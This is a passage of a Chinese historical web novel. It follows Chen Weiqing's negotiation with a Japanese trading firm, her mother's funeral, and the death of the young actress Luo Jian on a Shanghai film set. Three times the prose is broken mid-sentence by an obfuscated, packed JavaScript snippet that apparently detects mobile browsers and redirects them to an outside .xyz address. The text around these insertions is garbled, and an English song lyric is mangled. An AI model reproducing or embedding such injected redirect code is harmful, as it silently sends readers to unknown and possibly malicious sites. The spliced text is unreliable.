你有没有想我呀？ 我最近有好事！ 你记不记得我说过“在剧组待久了，迟早轮得到我”？现在好像真的轮到了——副导演让我试穿主角的衣服，说是有部戏里要用我演一个“流浪在码头的女孩”。我说：“那我不用演，我就是！” 我现在每天都有事干，有时候还是演死人，但有人记得我的名字了！场务不再喊我“小丫头”，而是叫“简”。这听起来是不是像个真正的演员啦？ 还有一件事。 时砚哥写信来，说他已经给我哥安排了永丰纱厂那边的工头职位。你知道我哥，他嘴上从来不说谢谢，但我知道他高兴坏了——他第一次给我写信呢！ 你猜他写了啥？“天冷记得穿袜子”。我一眼就看出来，那封信的字是时砚哥写的——规规矩矩的，像打字机的一样。 但不管是谁写的，我哥能写信过来，我就觉得很幸福。 我知道你没回我第一封信，我知道肯定是因为你太忙啦。婉芝姐也没有消息，不过法国太远了嘛，希望她也能好好的。 我这边会继续写信，你们一定要平安。 说起来，蔚青姐——你会觉得孤单吗？我有时候觉得，自己好像站在一个很大的舞台上，可舞台下面空空的，没有人认得我，没有人鼓掌，也没有灯光。但我还是想站上去看看。 我会记得你和婉芝姐说过的话，我会努力走到那个地方去的。 愿你一切安好。 你的小朋友 罗简 她没有把信放下，而是小心地折起来，缓缓塞入贴身的内袋，靠近心口的地方，那里正跳动着安静而坚定的鼓点。 阳光从屋檐边洒下来，落在她的肩头。晨风中微微泛着桂花香，是季节悄悄更替的味道。 她深吸一口气，整了整衣襟，抬头看向前方。 傍晚，陈宅屋内仆人忙碌穿梭，但无一人敢高声说话。 一切静得像科举前的考场，只等一阵锣一敲，风暴便要开始。 陈蔚青站在镜前，慢慢扣好风衣的最后一颗扣子。她穿了一件浅灰风衣，鬓边略施粉黛，不浓。她望着镜中那张略显清瘦的脸，忽然轻声道：“我来，不是来听你们报价的。” 她顿了顿，又缓缓重复一遍，像是在给自己背诵台词：“不是来听你们报价的。” 门外脚步声近了，是阿凤：“小姐，车已经备好。” 她点点头，转身下楼。路过前厅时，父亲正站在楼梯口，双手背在身后，看着她从上一步步走下来。 “我不送你。”他说。 她停住脚步，轻轻点头：“我知道。” 父亲没有再说什么，只朝她摆摆手，挥走一个早已懂事的孩子。 庭院门口，汽车静候在晨雾之中。车窗玻璃上映出她沉静的面容，也映出后头隐约露面的老账房王伯、季老，以及几个熟识的老面孔——他们站在门内，没有送出，只默默望着她上车。 轿车缓缓启动。南州的街道刚刚苏醒，街口的早点摊还未起火，街边的桂花却已经开得缤纷，一阵秋风拂过，香气扑鼻。 她抬头，看见车窗外的天色泛起微亮。今日是个晴天。 车停在南州市政商会宾馆正门时，东和商社的车也刚好停下。 那辆车上走下两人，一名日籍翻译，一名身着黑色洋服、佩细边金丝眼镜的中年男人，眼神沉静，神色带着不动声色的算计。陈蔚青几乎是一眼就明白，他就是东和派来此地的负责人——藤原。 陈蔚青迈步上前，朝对方颔首致意：“陈家代表，陈蔚青。” 藤原微笑致意，语气温和，说了一段日语。旁边的翻译板着脸翻译到：“这是我们东和商社南州事务部部长，藤原诚一。” 几人并肩进入谈判厅。厅内桌案两侧早已备好椅位，一方坐陈家代表，另一侧坐藤原与他的翻译。 落座后，茶水奉上，藤原先微笑开口，翻译官也冷冰冰地翻译道：“此次前来，并无别意。商社上下对贵方百年字号，素来敬重。如今局势多变，望两边能携手并进。” 藤原话音刚落，便缓缓抬起茶盏，眼神却没有落在茶水上，而是盯着蔚青，笑意未褪地补了一句：“听说陈小姐年纪尚轻，却已接管家业，当真让人佩服。” 翻译将这句话缓缓说出，语气中刻意保留了那一丝不咸不淡的意味。 “我见过许多东南的女掌柜，论沉稳、识局、善断，往往都不如她们的父兄。”他又啜了一口茶，微微一顿，“不过也无妨。如今讲究新时代女性崛起，陈小姐能坐在这里，便已胜过许多人了。” 这番话，说是赞美，实则刀锋暗藏。 桌上那盏琉璃灯的灯焰微微跳动了一下，恍若无声地提醒着蔚青：火已经烧到桌边了。 她原本放在膝上的手，悄悄收紧了一瞬。第一次与外商正面交锋，不是模拟，也非账房演练，而是一场坐了“看戏之人”的真实战局。 她能感受到自己的背脊有些僵直，脑中闪过一念：是不是哪里准备得还不够？ 她忽然想起昨夜的电话—— “铁肩担道义，辣手著文章。” 黎婉芝的声音仿佛还在耳边，而那封信，那封来自上海、从街头的嘈杂与馄饨香气里飘来的信，也贴在她胸口最近的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624895|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 再往前，是母亲轻声说出的那句：“你比我强多了。” 她的呼吸悄然放缓。 她抬起头，目光如水波逐渐止息后的镜面，清亮、沉稳，语气柔和，却带着一丝未明的锋芒：“多谢藤原先生夸奖。” 她顿了顿，眼神不动声色地扫过桌面：“陈家确实没有太多男子管事，我父亲……更擅长喝酒、读诗，叔父堂哥们…另有所事。” “如今这代人，守账本、打算盘的，只剩下我。” 藤原闻言，笑了：“原来如此。” 她接着道：“不过藤原先生既说‘局势多变’，那我也就不绕弯子。” 她翻开随身带来的文件册，抽出几张纸，摊在桌上，一字一句地道：“贵社三年前于北港吞并林记行，六个月内，林字号在市面上的认知度下降六成。” “合作第一年，贵社设定出货比重为对方七三，次年改为四六，到第三年时只剩两成。贵社主导品牌包装、宣传语，更替口号，最后品牌虽留，实已易主。” 她将手中最后一页纸放下，平整地按住：“我们查阅贵社近年来所有‘合作案例’，发现几乎没有任何一家仍维持独立运营——贵社的合作，是将人请上牌桌，再慢慢收回筹码。” 她说完这些话，停顿了一下，看向对方的眼睛，语气不再客气：“陈家不能拿自己的百年字号做这样一场注定要输的赌局。” 藤原依旧微笑，却轻轻将她面前的文件往回拨了一下，语气轻柔得像在哄一只倔强的猫：“陈小姐，您说得在理。但商场如棋，成王败寇。如今大势已定，若陈家执意走另一条路，只怕连下注的机会也没有。” “我们东和，并不一定要陈家。” 他顿了一顿，笑意不减：“是陈家，需要我们。” 这一句，字字缓慢，如同一枚枚精细打磨过的棋子，逐个落下棋盘。 厅中一静。 连那盏油灯的火苗，也仿佛收紧了一分。 但陈蔚青只是微微一笑，语调不变，却在尾音压下时，锋意乍现：“我知道你们不缺合作方，甚至已经安排好替代陈家的铺子，等着我们不应下这一笔生意。” “可你们终究还来找我们——那说明，在这一座城里，‘陈’，还是最有分量的。” 她话锋一转，落得干脆：“我们可以不合作。但你们若真想谈——陈家，必须保留品牌自主权、定价自主权，且有权拒绝任何劣品下配货，概不退让。” “你们也可以离开。若要留下，就得按我说得来。” 她将文件轻轻推回去，力道不重，却发出轻响。 那一下，像落在水面的一块石头。 藤原眯起眼，盯着她良久，指尖轻轻敲击桌面三下，然后——忽然笑了。 笑声不大，却像忽然散出的烟雾，遮住了棋局上的下一手。 “好啊，好啊。”他收起笑意，说了一句中文。 “我明白了。请容我回商社复议。”翻译官翻译道。 她站起身，朝他轻轻颔首：“恕不远送。” 35. 再之后 距和藤原的谈判过去了两月，南州又入冬了。 唐敬微走的那日，没有锣鼓、没有唢呐，也没有白布拦门的哭声。 她曾说过，她不喜欢那种声势——“吵，太吵了。”她靠在床上时这么说，嗓音轻得像飘在风里，“小时候家里穷，一听见唢呐声就是谁家死人了。人还没凉，外面就开始敲敲打打，那声音……跟抢一样。” “我死的时候，别吵。”她那时闭着眼睛，说得轻巧，“我这辈子耳朵都没安静过。” 所以她走得很静，像是从一扇轻轻掩上的门后头退了一步，就那么悄无声息地，不再出来了。 那场葬礼简单得近乎吝啬——一口沉棕色的西式棺木，几束洁白的栀子花，庭院里点着安静的白蜡烛。连来吊唁的人也不多。她生前太要强，朋友不是没有，但大多敬而远之。她身后也太静，像是怕吵到她的安息。 葬礼结束后，陈蔚青在母亲房里坐了一整夜。 那房间已经收拾过了，茶盏洗净了，床被叠好了，铜灯熄了，连那条陪伴母亲一生的丝帕也被收进了抽屉里。什么都井然有序，却安静得像一个空壳。她坐在屋子中间，忽然觉得自己像个陌生人。 她记得不清那一整夜自己做了什么，只记得窗外下起了雨，细细密密，落在庭院里的树叶上，沙沙作响，像极了母亲写字时手腕拂过纸页的声音。 有一瞬间，她几乎以为母亲还在屋里，正在屋角的灯下写账，或者正坐在铜镜前，拿着一支银梳一点一点梳头发。她甚至听见了母亲说话的声音：“这笔账不能算错——人家盯着你呢。” 可当她猛地抬头，屋里什么也没有。没有灯光，没有人影。 只剩下她自己，坐在一个已经被时间抽空的壳子里，像个努力寻找归属的孩子。 那一夜她才意识到，母亲这一生虽然锋利，但也孤独。 她说过的每句话，每一个苛刻的要求，每一次眼神里的压迫和克制，不是在对谁施压，而是在拼命握紧自己的位置。 她曾不愿母亲掌控她的一切，如今她好像终于明白，母亲不是想控制她，是想把她护进那个不属于她们的世界。 又或许不是，她可能是一个想控制女儿的妈妈。蔚青坐着，突然一股无名火冒上来。她突然想抓住那个名为唐敬微，被她称作“妈”的女人问一问，她这一辈子，到底是怎么想的。 可死人是不可能开口了，或许在几十年后，她会在不知道哪里等我，然后那个时候，我再问一问。蔚青这样想着，她想起那台机器，她原以为这能保存母亲的思想，直到母亲真的离去她才意识到，不行，那只是一台单纯的，问答机器。 她想起梁悯初说的，重要的不是问答逻辑如何设计，而是如何“定义那个人的思想”。 她其实从来都不知道，或许她从来都努力错了方向，她没能成功定义任何东西，或者思想本来就不是能被定义的。她不知道。 陈蔚青站在母亲的旧书桌前，伸出手，抚过那面泛旧的铜镜。她看着镜中自己憔悴的轮廓，忽然就想起母亲病重时说的那句话：“你比我……强多了。” 那声音太轻太远，仿佛隔了一个时代。 她喃喃应了一句：“我不知道。”然后转过身，走出房间。 风吹灭了廊下的灯，她没有回头。 夜色深沉，陈宅后院静得像被一层丝绒包裹。灯笼的光暖黄柔软，竹影被风轻轻摇动，投在地上，如水波起伏。 沈时砚今晚没有穿他那件西装，而是换了一件素灰的长衫，袖口微挽，露出手腕。他靠在院墙边的长椅上，一条腿搭着，一条腿微微伸出，看起来格外松弛，像是终于从永丰厂那些机油味和汗气中解脱出来。 陈蔚青坐在他左边，肩膀离他不过一拳的距离。 她没穿大衣，只穿了一件深蓝色细纹织料的长褂，腰身收得很贴，灯光在她耳下投出一层温润的影。她手中握着一个白瓷茶杯，杯沿已经泛起雾气。 “你是刚从厂子那边回来？”她先开口，语气很轻。 “嗯。”他偏过头看她一眼，眼神像从微光中抽出来的一线墨，“看到罗炽南的时候，他刚在教新工人怎么修机器。从没见他那么兴奋过，手上都是油，眼神却像打了火。” “他很好。”她点头，声音低低的，像说给自己听，“罗简走了之后，他反而变得安静又专注。我一度担心他会一直不高兴。” “不会。”沈时砚说，“阿简是会出头的。” 她没说话，低头抿了一口茶。 风吹过来，茶香混着还未落尽的花香扑入鼻尖，竟有点熏人。她轻轻皱了皱眉。 “你今天看起来很累。”他忽然道，语气不似询问，更像一种温和的注视。 “年底了，那些账本啊报表啊比从前难看许多。”她低笑了一声，“是这样的，谈判失败了，虽然早知道会失败。不过至少我谈下去了，面对他们那张脸时，我真忍不住想摔杯子。” “摔了吗？”他挑眉。 “那当然没。”她笑了，轻轻低下头，指腹摩挲着茶杯沿，像是在借助热度确认自己还在这里。 “不过合作谈崩之后，也不是全输。”她缓缓开口，语调平稳，“学生会和工人组织都站出来支持我们。婉芝打电话来，说巴黎那边也有华人在传‘南州陈家拒签东和协议’，说我是商人里难得的硬骨头。” “挺有名气的。”他偏头看她一眼，“我是不是该找你要个签名？” 她笑出声来，眼角扬起，带着那种久违的轻松。 “你想得倒美，我才不给你呢。” 他也笑了，声音不大，像是在笑她的嘴硬。 “其实我没想到我们能撑住。”她忽然低声道，“账房说销量少了三成，可我们还没死……那一刻我有点恍惚。” “你不是撑住了么。”他侧头，眼神轻柔，“撑得好好的。” “是啊……”她看着自己的手掌，那里还有早上翻账本时被纸页割出的一道浅痕，“撑住之后，才觉得自己不是靠着一股狠劲，而是……有人在后头顶着我。” 她顿了一下，像是不小心把话说漏了。她慢慢抬起眼，眼神在夜色中泛着一点潮湿的光，却没回避。 沈时砚没有接话，只把目光挪开，看向不远处一棵风吹微响的香樟树。他的轮廓在灯下显得柔和，像是刻在夜色里的一个人影。 两人陷入一段静默，那是种不尴尬的沉默，就像两根平行的线，不言不语，却正慢慢靠近。 风拂过她的发梢，一缕贴上了他的肩头。 她没动，他也没动。 过了许久，陈蔚青才轻声问：“你什么时候去北平？” 她没抬头，声音里却藏着一丝不易察觉的犹疑。 沈时砚像是被这问题拽住了思绪，低低“嗯”了一声。 他转头看她，夜色里她的眼睛映着灯笼的火，像燃了一枚极小的光。 “我……其实一直在等你问这句。” 她一怔。 “我总觉得……”他顿了一下，好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631898|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在组织语言，“你……需要一个人在身边。” 她心跳顿了一拍，却没有转过头去，只是低声道：“你怎么知道我不是想自己待着。” “你可以想。”他说，“但我还是会留一会儿。直到你说，不用了。” 她没有说话。只是把杯子用手掌握住，那一瞬，她感到茶水的温度还未散尽。 沈时砚没再说什么。他只是靠近了一点，只是靠近。 火光在院中轻轻晃动，树叶被冬天的风吹落，在风中打着旋落下，也落在两人之间的缄默里。 在沉默中，沈时砚忽然轻声开口：“你还没问……沈家的事。” 陈蔚青这才回过神，转头看他：“我该问吗？” “你当然可以问。”他声音低柔，“只是你一直没提，我也就没讲。” 她没有说话，只是望着他。于是他继续道：“沈家还好，香料并不是主业，只是占一点边。眼下在收缩——很多人都在收。” “……时墨呢？”她问。 “他不去上海了。”他轻轻一笑，像是提到某个熟悉又陌生的人，“你知道的，局势变了。家里决定让他留在南州，跟着父亲熟悉账面、打点生意。” “做得怎么样？” 沈时砚侧过头，看了她一眼，神情温和又带点不自觉的落寞：“他什么事都做得很好。他很稳重，记性好，说话得体，什么人都喜欢他。” 他顿了一下，眼底泛出一丝自嘲：“跟我不一样。” 蔚青想说“你也很好”，可话到嘴边，又咽了回去。 她只是轻轻开口：“你不适合那些，你有你的位置。” “我知道。”他笑了笑，声音轻得像夜色一样，“我知道得太早了，反而给家里留下了太多麻烦。” 他低头，指节敲了敲膝盖，语气像是讲一件与己无关的旧事：“我父亲其实挺看重时墨的，最近连家里的账房都慢慢交给他。挺好。” “挺好。”她也跟着重复了一遍。 两人不再言语，各自听着风声穿过树梢。过了一会儿，沈时砚才像是随口问道：“你呢？” “我？” “你打算接着撑多久？” 她又一愣。 他又笑了笑，看着她：“不是说你撑不住。就是……撑久了，会不会累？” “会啊。”她坦然道，“可是，我怕一放手，后面的人就都摔下去了。” 沈时砚没再说什么，只微微颔首，像是听进去了什么。 然后他抬头看天，说：“如果是北平，这个时候一定下雪了。” “代我看看雪吧，我还没见过。”陈蔚青也轻轻地笑了，她抬头望向天，好像真的看到了雪一般，“你是说要等我问，才告诉我什么时候走？” “对。”他低声笑了一下，“但我没说你问了，我就一定要走。” 她看着他。那一刻，灯光落在他眉梢眼角，像是落在一枚沉默的词语上，柔和却又带点未言尽之意。 “……你这人啊。”她轻轻叹了口气，带笑意地摇头。 “嗯？”他挑眉。 “没什么。”她也不知道其实自己要说些什么。 “我们之后一起去看吧。” “什么？” “雪啊。”他笑了，“想来婉芝还有阿简应该都已经看过了，就差你和炽南了。” 她没有回答，只是偏过头望向院外那一树秋桂，风吹来，香气一缕一缕钻进心口，像什么也没发生，又像一切都已经不一样了。 36. 日升之屋 清晨时分，庭院还裹在雾里，陈蔚青坐在窗边，披着一件浅灰的呢绒斗篷。她的手指停在一封刚刚拆开的信上，信纸边缘已有些卷起，是两周前从上海寄来的，邮局今天才送到。 她一眼认出那熟悉又跳脱的字迹—— “蔚青姐，我这回是真的要演主角啦！” 信写得热烈，几乎每一句都在跳跃，像她那个人一样，一边用力地朝前奔跑，一边喊着“你快看我，我做到了！” “我试装那天，导演一直皱眉，我以为要黄了，结果他说：‘还不错。’你知道吗，他说‘还不错’的时候，我差点哭出来……我真的以为我不行了。” “拍摄延期了一天，我在服装间等了一个下午。隔壁有几个姑娘在换戏服，说我长得像她们的亲戚，一个日本人。你说奇不奇怪？我从小就有人说我长得不像我们家，可我还是觉得我就是这里的人。” “这几天忙到连饭都顾不上吃。但我不觉得累。你说我是不是太蠢了，连累都不敢觉得？我就是想演完这场戏……然后写信告诉你：我做到了。” “我知道你忙，我知道你可能收不到这封信——但我还是写了。” “我会一直写的。” 信的最后一行停在纸角，像她说完话，站在舞台中央笑着鞠了一躬。 陈蔚青的指尖停在那一行“我会一直写的”上，忽然觉得有什么东西钝钝地敲在心口。 她笑了笑，突然想起她前两封信都没回——这几个月发生了太多的事，但这封信一定要写回信了，要恭喜她拿到了第一个重要角色，以后一定会有第二个、第三个……她一遍在心里编织着回信，一遍合上信，没有收起来，只是将它轻轻放在茶几上，然后起身走到屋角的书架前，习惯性地拿起那天的晨报。 报纸纸张尚新，墨味未散。她本想跳过社会版，却在翻到第三页时被一道标题钉住了眼： 《上海新人混血女演员在片场失足坠亡》 她怔住，目光落在副标题上： “室友称其为南州人，年约十八岁，租住法租界小街女子宿舍，近期情绪不稳。” 接着，是一张模糊的照片——不是她，而是片场散落的戏服和一只断掉的鞋跟。 她的脑中“轰”地一声炸开，整张纸仿佛失去了重量。 她一页页翻过去，越翻手越抖。直到看到报尾一行小字—— “知情者称其近日参与某剧组拍摄，曾因拒绝特定‘陪酒安排’与剧组人员发生争执。” 那一瞬间，时间仿佛抽走了所有颜色。陈蔚青缓缓坐回椅中，手中那封还温着余香的信纸就摆在面前，而报纸却像是一道冰封的刀，把信纸活生生切成了过去。 她喃喃道：“不对……她还在写信啊……” 声音轻得像风吹动纸页。 她再也忍不住，低下头去，一声没出，只是把脸埋进手心。 她忽然想起第一次见到简，她挂在窗边，眼睛亮晶晶的，然后她站在楼下，伸出双手。 “大小姐，你敢不敢跳下来？” 她想起罗简唱电影里的曲子那晚，灯影在她的睫毛上跳舞。想起她坐在桌前写字，写文章。想起她在校庆上演的玛丽娅…… 她忽然站起身，跌跌撞撞地跑出屋子，像是想冲出这个不该存在的清晨。她甚至不记得自己有没有穿鞋。仆人在门口唤她，她充耳不闻。 风在耳边呼啸。冬天的南州没有雪，却冷得刺骨。她一路跑到后院树下，脚一顿，整个人忽然就跪了下来。 她抱着那封信，像抱着一个小小的灵魂，喉咙发不出声音，眼泪却止不住地流。 不是嚎啕，不是大哭，只是一种仿佛撕裂脏腑的安静的、无法反驳的悲伤。 她不知道她是坐在地上哭了多久，只知道回过神来几个女仆已经搀着她把她放回了床上。 她缓缓起身，把信纸抹干，重新折好。 “对不起。”她轻声说，“我来晚了。” 那之后的事，她几乎记不清了。 她只记得自己像一团脱了线的布，躺在床上，四周安静得可怕。屋外的风敲着窗纸，却一直敲不进来。她一直盯着天花板，连眼都不敢闭——只要一闭上，就看见简在信里朝她笑。 “我这次真要演主角啦！” 可是蔚青连这个她要演主角的戏的戏名都不知道。 后来据沈时砚说，罗炽南当天就把工作辞了，买了一张去上海的船票，没人拦他，也没人敢拦他。但三天后，他就回来了。 那天黄昏，女仆来报，说“罗先生来了”。她一时没反应过来——“谁？”。但下一刻她就明白了。她穿好衣服下楼，看见罗炽南正站在门口，整个人像是风吹久了的老木头，面颊瘦了一圈，眼窝凹陷，胡子拉碴，手里拎着一个几乎空的布袋。 他没有带回任何行李，也没有带回什么“结果”。他只是站在那里，像是从上海那个巨大的绞肉机里，空手逃回来的人。 “她……是在法租界租的小房间。”他说，“那晚拍完试镜，剧组说导演请吃饭，她没去。她说——如果这个角色是靠陪酒换来的，那她宁愿不要。” 他说得很慢，每一句都像是在拔自己一根骨头。 “后来她被临时换了角色。本来是女主角，结果只给了个连台词都没几句的边角戏。她去后台问是为什么，有人指着她笑，说——‘你以为你是谁啊？一个杂种，还想当女主、还敢拿架子？’” 他低着头，嗓音像从地底挤出来的。 “他们还说：‘你这样谁会让你拍戏？一点规矩都不懂。’” 他顿了顿，哽咽了。 “那场戏是在一座仿旧茶楼里拍的，她要从三楼走下那段外挑的木梯，戏里安排她端着茶托走得飞快，好让镜头能‘一气呵成’。但她就这样……就……摔了下去。” “据说她是分了神。导演在一旁催场，副导在喊‘快点’，她看了一眼摄影机那边，聚光灯正对着她脸，那是她换角以后为数不多的镜头……她没站稳，脚下一滑，整个人就倒下去了。” 他终于抬头，眼神死死盯着前方。 “她落地那一刻，摄影机还在拍，灯还没灭，所有人都在看，但没人第一时间喊停。“ 他说到这里，声音终于发了抖：“她当场没死……过了好久他们才把她送到医院，她还醒了一会儿。” 他眼圈发红，颤抖着声音继续说：“她醒过来的第一句话是：‘是不是我说错了台词？’” 他再也说不下去了。 手里那封皱巴巴的信，他迟迟没拿出来。直到很久之后，才从斗篷里摸出一页沾了水渍的信纸。 “这是她的。”他把信递给陈蔚青，“你看吧。” 那封信写得极短，像她最后一次在世界上留痕： “如果那台机器能回答‘我到底算什么人’，它会怎么说呢？ 哥，对不起。 我再也演不了主角了。” 信上贴着，那张已经泛黄的纸带。上面写着两个字，近乎讽刺的： “去做。” 最后没人得偿所愿。 “那台机器就这样静静地摆在那里，没人得偿所愿。我没能留下母亲，沈时砚没能去成北平，罗炽南没能给妹妹一个好的生活。” 罗炽南想把他们那个机器砸了，因为那张他觉得间接害死了他妹妹的纸条——“去做”。没人拦他，但他后来自己没忍心下手，那东西就一直躺在那里，像一具装着他们未曾说出的哀悼的壳。 “那玩意一开始就不该造。” “ThereisahouseinNewOrleans, TheycalltheRisingSun. Anditisbeentheruinofmanypirl, Andohgod,Iamtheone.” 夜雨将南州的街道洗得发亮，清晨第一缕光落在报摊的玻璃罩上时，一份崭新的小报已经摆上了最显眼的位置。 头版标题是手写体印制，字迹锋利，黑体加粗，占满了整整一栏： 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637946|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >《一个不该死的人》 署名很小，只一个字，印在最下角——“青”。 没有副标题，没有宣传广告，也没有其他新闻内容。整张报纸只有这一篇文章，从头到尾，整整三大栏，像一份沉默的回响，又像一场无法终止的控诉。 文中并未提到名字，也没有直接描写，但字里行间早已把真相写得清晰：一个南州来的女孩，在上海的聚光灯下试图成为“被看见的自己”，却在夜色中坠落于无声的街角。她是演员，是码头的孤儿，是工人，是工人的妹妹，是一个什么也不确定却仍愿意奔跑的人。 文章最后一句是： “她还是一个有天赋的作家，她说：‘我会写的！’。我们却没能为她留住一条可以写下去的路。” 陈蔚青坐在印报间时，天还没亮，机器轰鸣声盖过了心跳。她盯着纸张一页页吐出，看着自己一字一句地印在那些墨香未干的页上，忽然觉得自己像个盗火者，偷来一点光，却迟了一步。 那是婉芝离开后，她第一次重新启用那份报纸。 报纸上没有讨论剧目，没有诗歌，也没有那些哲学思辨，只有一篇文章——《一个不该死的人》。 永丰纱厂后面的仓库门半掩着，墙上贴着一张粗糙的手绘标语：“工人夜校·抗日经济读本·今晚八点”。纸面被雨水打湿又风干，边角卷起。 罗炽南在仓库里搬纸箱。箱子里装的是新印好的工人劳动法小册子和一叠叠未经审查的传单——全是学生们自发印刷的。他亲自盯了油印，从配纸、校对到最后的分发，一丝不苟。黑市上的人劝他别太冲：“你还真把你自己当工人了。” 他说：“那不然呢？我不是工人，还能是什么？” 夜校刚散，他把剩下的册子一捆一捆装进袋里，递给几个年轻工人：“你们往白石桥送，别走主街，绕后巷。” 他语气平稳，不紧不慢，像早已习惯。那几个工人接过袋子，有个年轻的偷偷问：“哥，你以前真是…混黑市的？” 他没应，只抬头看了他一眼，像是笑了笑，又像没笑。 晚上十点，厂区楼顶。风很大，他站在边缘的位置，身后是层层铁皮房顶，脚下是南州冬夜的灯火。 他一边看着那份报纸，一边一支接一支点烟。 风把火光吹得忽明忽暗，像记忆里破旧戏台上的灯。 有个老工人走上来，把围巾裹紧了些：“炽南，你在看什么？” 他没回答，把报纸对折，折得整整齐齐。老工人看到上面那个标题——《一个不该死的人》。 “……你认识写这报纸的人？”老工人问。 罗炽南站了一会儿，终于低声道：“不止。” 沈时砚捧着那份报纸坐了许久。他没有立即读，只是一遍一遍地抚过那行字——“一个不该死的人”。 读完后，他什么都没说，把报纸对折收好，夹进了他笔记本最内页。 他去锅炉房里看了看那台沉默已久的机器。 他没开灯，就这样站在锅炉房的黑暗里，站了一夜。 几周后，陈宅前厅响起越洋电话铃声。 阿凤慌慌张张跑上楼，说：“小姐，是巴黎那边，说是黎小姐……” 陈蔚青接起时，电话那头先是一阵嘈杂——像是穿越了海底的风暴，然后，一个带着哭腔的声音从电话线另一头挤出来：“蔚青……我……我收到了那张报纸，还有……那些信和遗书……” 是婉芝。她声音哽咽得快说不出话，只一遍遍地说着：“对不起，对不起……” “我不在，我不在她身边……”她带着哭腔的声音忽高忽低，“我不该…我不该鼓励她去演电影…不该…” 她哭了整整五分钟，陈蔚青一句话没插，仿佛只是一具接听器。 最后，那头突然传来另一道说着法语的男声，然后是蹩脚的中文：“时间到了”。 话还没说完，长音嘟的一下，电话就被切断了。 陈蔚青站在电话前，没挪动一步，像一块石头一样，一直站在原地。 37. 风雪夜归人 时间过得很快。 沈时砚去北平的事，并没有什么正式告别。只是在一个天气微凉的黄昏，他来找她，说自己订了后天的火车。 “你不是说等我叫你才走？”陈蔚青那天正在翻账房的月报，头也没抬。 “嗯，但你现在已经不用再叫我了。”他说，声音很轻，像是怕吵醒某种沉睡的东西，“你现在……已经可以做得很好了。” 她没有说话。只是手中翻动纸张的声音慢了下来。 “你去吧。”她过了好一会才轻声说，“那边要冷一些，记得带厚衣服。” 他笑了一下，笑容几乎看不出波澜。她却忽然觉得，那笑里藏着一点逃走的意味。 他是去逃离一些东西的，不是沈家，不是陈家，而是他们一起埋在锅炉房的、未曾完成的梦。 从此，锅炉房就成了陈蔚青生活里一种“静默的存在”。 她没有再像当初那样频繁出入那里，但几乎每个月，都会抽一两个下午过去坐坐。她不带账本，不带茶壶，也不看机器。只是坐着，像是在等一个不会来的声音说：“我来练字啦！！！” 偶尔，她会遇见罗炽南。 他如今整个人已经变了样。黑市那些年烟火气十足的狠劲褪去，代之以一种沉静的张力。他不再横行街巷，而是成了工人夜校的骨干，组织印刷、传送、分发，也代表罢工小组与厂方交涉，虽然已经不当工头了，但工人们却都发自内心的称他一声“老大”。 有时他们在锅炉房碰上，寒暄几句：“你来了。” “嗯，看看。” “最近还好吗？” “还好。” 就这些。 像两条从不再交汇的河流，在旧日的机器旁并排停留一刻，又悄然流向各自的方向。 他们从未提起那个曾经一同拉电线、写逻辑表、在黑市吃煎堆的女孩。 也从不提那篇叫《一个不该死的人》的文章。仿佛一提，就会惊扰某种痛楚，或激起某种他们早已学会独自背负的哀伤。 直到那篇叫《一个不该死的人》的文章发表后的第四年的某个下午，那天是个在普通不过的日子。 初春的南州，雨刚停不久。街道还挂着潮，空气却有些暖了，木棉树抽出了最早一批嫩芽，旧砖上的青苔被阳光照得发亮。 陈蔚青出了账房，顺着那条熟悉的小道，往锅炉房的方向走。她没有特别的打算，只是这几日总觉得心里空荡荡的，像是有什么要回来，又迟迟未到。 推门进去时，锅炉房里竟已经有人。 是罗炽南。 他穿着一件洗得发白的粗布外套，蹲在地上，修理那台早已静默多时的回答机器——已经太久太久没人用过了。手上沾了点油，袖子挽起，额前的发却被风吹得有些乱。他抬起头，看见她，愣了一下，随即点点头。 “你来了。”他站起身，把手上的布甩了甩，“好久没见你来这里。” “嗯。”她走进来，脚步轻轻的，像生怕惊动了什么，“最近账目有点烦人，就想着来这边坐坐。” 他笑了笑：“还得是你。” “你也是。”她瞥了他一眼，指着那台机器，“你竟然在修它。” “不能说修。”他拍拍木壳，“就是手痒。动手就不那么烦了。” 她靠在门边，阳光从天窗洒进来，照在地板上，勾勒出她的影子。两人一时间都没再说话。风穿过窗隙，发出轻微的呼呼声。她突然觉得自己好像放下了什么，而罗炽南也是。 忽然，她说：“你还记得我们第一次见面吗？” “当然记得。”他笑了一声，“我当时一看，就觉得你一定是那种娇生惯养的大小姐。” “当时吗？那你还真就没说错。”她说完，指了指屋角，“你当时就蹲在在这里，好像也是修着什么。” “沈时砚迟到了，然后他一来就开始讲这台机器的事。”罗炽南回忆着，指了指那台机器，“你听得比我认真多了。” 陈蔚青没有接话，只是站在那里，忽然有种预感——时光即将倒回到从前。 